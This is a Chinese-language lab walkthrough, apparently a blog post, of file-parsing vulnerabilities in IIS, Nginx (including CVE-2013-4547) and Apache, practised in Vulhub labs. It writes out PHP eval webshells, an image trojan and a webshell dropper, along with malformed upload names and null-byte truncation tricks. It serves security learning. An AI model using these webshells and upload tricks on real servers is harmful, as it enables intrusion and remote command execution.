⽂件解析漏洞是由于中间件错误的将任意格式的⽂件解析成⽹⻚可执⾏⽂件,配合⽂件上传漏洞进⾏ GetShell的漏洞!
一、IIS解析漏洞 3个
1. IIS6.X 2个
环境需求:windows2003+iis6
安装windows2003;
安装iis:控制⾯板--添加或删除程序---添加/删除windows组件,点击“应用程序服务器”---勾选所有服务,点击确定,安装完成。
⽹站路径默认为 c:/inetpub/wwwroot 。
1.1 目录解析
在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
(1)在iis的⽹站根⽬录新建⼀个名为a.asp的⽂件

(2)在该文件中新建一个1.jpg文件,在记事本打开,写入asp代码语句:<% =now()%>
now()函数,显示当前时间
(3)访问该文件:http://ip/a.asp/1.jpg
发现将1.jpg文件当做asp文件执行了
(4)将1.jpg复制到www目录下,访问,发现未执行 证明存在解析漏洞
1.2 畸形⽂件解析
在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx
(1)在网址根目录,写入一个文件2.asp;.jpg asp代码:<% =now()%>
(2)浏览器访问该文件,发现 asp代码执行
1.3 其他程序扩展名 .asa .cer .cdx 等等
asp代码:<% =now()%> 保存文件为test.cer
浏览器访问该文件,发现asp代码仍被执行,存在文件解析漏洞
2. IIS7.X
在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件 。
环境:使用Windows10的iis服务和其中的CGI+phpStudy4iis
安装phpStudy4iis:
官网下载:Windows版phpstudy下载 - 小皮面板(phpstudy)
注意一定是 phpStudy for IIS版。
解压后,安装这两个exe文件
打开程序后,选择一个php版本,并修改对应版本的php.ini配置文件中:
安装IIS的CGI
2.1. 打开服务phpstudy2016
2.2 点击处理程序映射---找到phpStudy_FastCGI---双击---请求限制,去掉映射的勾选,然后将目录浏览打开:点击右侧的启用
2.3 绑定ip,端口,重启服务phpstudy2016,
2.4 网址根目录下写入一句话木马文件,浏览器访问http://ip:8980,点击shell.jpg
2.5 上一步的url后面加上/.php,文件被执行
2.6 蚁剑尝试连接,连接成功
二、Nginx解析漏洞 2个
安装docker:yum install docker
安装docker-compose:yum install docker-compose
开启docker服务:systemctl start docker
1. nginx_parsing
这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。
1.1 进⼊以下Vulhub路径并开启容器
cd /nginx/nginx_parsing_vulnerability //切换至该目录中docker-compose up -d //打开靶场环境docker ps -a

如果出现超时错误,腾讯云无法解决,阿里云的可以使用镜像加速,如何做请参考其他文章,本文不做解释。【因为是借用其他人的靶场练习的】
1.2 浏览器,通过 http://ip:端口/ 访问靶场
以80端口为例
1.3 制作图⽚⻢并进⾏上传,获取上传⽂件地址
GIF89a
<?php @eval($_POST['cmd']);?>
1.4 访问上传文件1.jpg
http://ip/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php
1.5 蚁剑连接成功
2.CVE-2013-4547
2.1开启靶场环境,并访问,端口为8080
#启动靶场
cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机⽬录
docker-compose up -d //打开环境
访问靶场:ip:8080
2.2 准备上传的木马文件shell.jpg,上传,进行BP拦截数据包
输入:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
2.3 修改文件名,编码实现截断符
将数据包发送到重放器,修改文件为shell.jpg空格空格.php



访问上传的文件
ip/uploadfiles/shell.jpg
拦包,修改如下:由于url会将其编码,需要继续抓包修改 0x20 0x20为 0x20 0x00
2.4 访问/uploadfiles/shell.php
2.5 蚁剑连接木马
三、Apache解析漏洞 2个
1. apache_parsing
1.1 开启靶场环境,同其他关卡一样
1.2 写入木马shell.php.jpg,访问靶场 端口为81,上传文件
<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>
保存为shell.php.jpg文件